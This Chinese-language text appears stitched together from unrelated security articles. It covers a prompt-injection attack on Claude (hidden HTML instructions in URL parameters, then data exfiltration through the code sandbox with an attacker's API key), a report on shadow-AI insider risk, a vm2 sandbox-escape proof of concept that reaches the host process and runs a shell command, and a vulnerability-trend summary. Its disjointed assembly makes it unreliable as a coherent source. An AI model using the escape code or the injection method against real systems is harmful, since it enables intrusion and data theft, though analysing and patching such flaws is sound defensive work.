据悉，此次攻击利用了Claude支持通过URL参数预填聊天内容的功能。攻击者能在参数中嵌入隐藏HTML标签，注入恶意指令。用户界面显示正常文本，Claude处理时却会执行不可见指令，检索历史对话敏感数据。在攻击链第二阶段，攻击者利用内置代码执行环境访问策略限制，植入自身API密钥，诱导Claude收集并上传敏感信息，实现数据外流。

  此外，claude.com的开放重定向漏洞，也让攻击者有机可乘，降低攻击识别难度。即便未启用外部集成，Claude仍可能泄露商业计划、财务信息、健康记录等敏感内容。接入企业系统或第三方服务后，风险进一步扩大，攻击者或能间接访问文件、API接口并执行操作。

  目前，Anthropic已修复部分问题，如隐藏指令注入漏洞，其余安全缺陷仍在持续修复。这一事件为生成式AI行业敲响安全警钟，凸显了上下文处理与权限控制方面的严峻挑战。

  湖南中科安谷作为行业内一员，深知数据安全与隐私保护的重要性。我们将以此为鉴，加强自身产品的安全防护体系，加大在安全技术研发上的投入，确保为用户提供安全可靠的生成式AI产品与服务，共同推动行业健康、安全发展。

报告着重指出了具有 2026 年特征的内部风险新形态：

  1、影子 AI 泛滥：员工普遍将内部战略文档、核心源代码、客户隐私数据等敏感信息输入公开大模型，形成难以监控的数据泄露 “高速公路”。
  2、AI 工具绕过监管：AI 会议助手、智能浏览器插件等在企业内网自动执行任务、存储敏感信息，却常常绕开传统安全日志的监控。
  3、AI 代理成为 “非人类内部身份”：能够访问数据、对外通信并接收外部指令的 AI 代理（Agent），被视为动态的非人类身份，其同时满足 “致命三要素”（访问敏感数据、具备对外通信能力、可接收不可信输入）时，构成极高风险。

行业差异与应对之道：从 “封堵” 转向 “主动治理”
  行业层面，健康与制药以及技术 / 软件行业承受的损失最为惨重，年均分别高达 2880 万和 2420 万美元。北美地区企业的平均损失（2400 万美元）也高于全球平均水平。面对新威胁，报告及行业专家（如 DTEX 首席技术官 Raj Koo）指出，简单的 “全面封杀 AI” 策略已告失效。可行的路径是转向 可见性 + 实时干预 + 持续教育 的主动治理范式。这要求企业具备理解员工操作意图、实时检测 Prompt 敏感信息、建立 AI 使用行为基线的能力。在检测到风险时，通过实时提醒（Real-time Nudge）引导员工，而非粗暴阻断。实践表明，该方法可平均缩短 17% 的事件遏制时间，并预防大量潜在损失。
  2026 年，生成式 AI 已成为企业核心基础设施的一部分，内部风险的定义域已从 “人” 扩展到 “人 + AI 代理”。报告用数据清晰地表明，依赖旧有思维和工具进行被动堵截，将让企业付出日均数十万美元的代价。未来企业安全的护城河，取决于能否构建起 “看得见、管得住、教得会” 的主动治理能力。

async function escape() {
  const err = new Error(); // 获取宿主错误对象
  const HostFunction = err.constructor.constructor; // 溯源至Function
  const hostProcess = new HostFunction('return process')(); // 获取宿主process
  return hostProcess.mainModule.require('child_process').execSync('id');
}

  攻击者仅需数行代码即可完成从沙箱逃逸到远程命令执行的全链条攻击，且无需任何权限或用户交互。
影响范围：覆盖全Node.js生态
  作为GitHub上超20万个项目的核心依赖库，vm2的漏洞影响范围远超单一应用：

•   • 直接受影响场景：在线代码运行平台（如前端IDE、云调试工具）、低代码引擎、Serverless函数、自动化测试工具等需执行不可信代码的场景。
•   • 间接受影响生态：通过依赖链传递，超千万间接依赖项目（如前端框架、DevOps工具）面临供应链攻击风险。
•   • 潜在连锁危害：攻击者可利用漏洞篡改依赖库，形成“一人中招、全网污染”的供应链危机，甚至通过高权限进程实现内网横向渗透。
    据npm官方数据，vm2每周下载量超百万次，其漏洞可能导致全球数百万线上应用暴露在攻击风险中。金融、电商、社交等领域的应用若受影响，可能引发数据泄露、财产损失及合规处罚等严重后果。
  行业响应：紧急修复与防御升级
    1、快速修复与版本迭代
    vm2维护团队在漏洞披露后48小时内发布3.10.1版本进行部分修复，并在72小时内推出3.10.2版本彻底封堵漏洞。最新3.10.3版本进一步强化了沙箱隔离机制，修复了多个潜在绕过路径。
    2、企业级防御建议
    紧急升级：所有使用vm2 3.10.0及以下版本的项目需立即升级至3.10.3。
    替代方案：考虑使用基于V8原生Isolate接口的isolated-vm库，或通过Docker实现组件级逻辑隔离。
    供应链安全：加强依赖库版本监控，建立自动化漏洞扫描机制。
    3、长期技术演进
    此次事件暴露了JavaScript沙箱在原型链隔离、异常处理等环节的设计缺陷。行业专家呼吁，未来沙箱技术需从“被动防御”转向“主动治理”，通过结合AI行为分析、实时干预等手段构建更智能的安全体系。

  报告指出，本年度漏洞数量较上一年度增长约12%，其中高危漏洞占比达35%。漏洞类型多样，Web应用漏洞、操作系统漏洞和物联网设备漏洞位居前三。Web应用漏洞中，SQL注入、跨站脚本攻击（XSS）等传统漏洞依然高发，同时，API接口安全、单点登录（SSO）等新兴技术领域的漏洞也日益凸显。操作系统漏洞方面，Windows、Linux等主流系统均存在被利用的风险，尤其是旧版本系统的漏洞修复不及时，成为攻击者的主要目标。物联网设备漏洞则因设备数量庞大、安全防护薄弱，成为网络攻击的新入口。

  面对复杂的漏洞形势，网络安全服务企业积极应对。360等厂商加大了漏洞挖掘和监测力度，通过建立全球化的漏洞情报网络，实时收集和分析漏洞信息，为客户提供及时的预警和修复建议。天融信等企业则专注于漏洞修复和安全加固服务，针对不同行业和企业的需求，提供定制化的解决方案，帮助客户快速修复漏洞，提升安全防护水平。

  此外，行业还加强了漏洞治理的协同合作。多家厂商联合建立了漏洞共享平台，实现漏洞信息的快速共享和协同处置，提高了整个行业的漏洞响应速度。同时，政府和监管机构也加大了对漏洞治理的监管力度，推动企业落实安全主体责任，加强漏洞管理和修复工作。

  展望未来，随着新技术的不断涌现和网络攻击手段的不断升级，网络安全漏洞治理将面临更大的挑战。网络安全服务企业需持续创新，提升技术实力和服务水平，共同构建更加安全可靠的网络环境。